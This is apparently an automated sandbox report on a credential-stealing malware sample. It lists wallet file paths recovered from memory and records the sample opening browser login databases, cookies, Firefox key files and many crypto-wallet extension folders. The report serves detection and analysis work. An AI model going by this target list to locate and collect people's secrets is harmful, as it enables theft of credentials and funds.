Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 32eab1d1d8.exe, 0000001C.00000003.2815937143.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
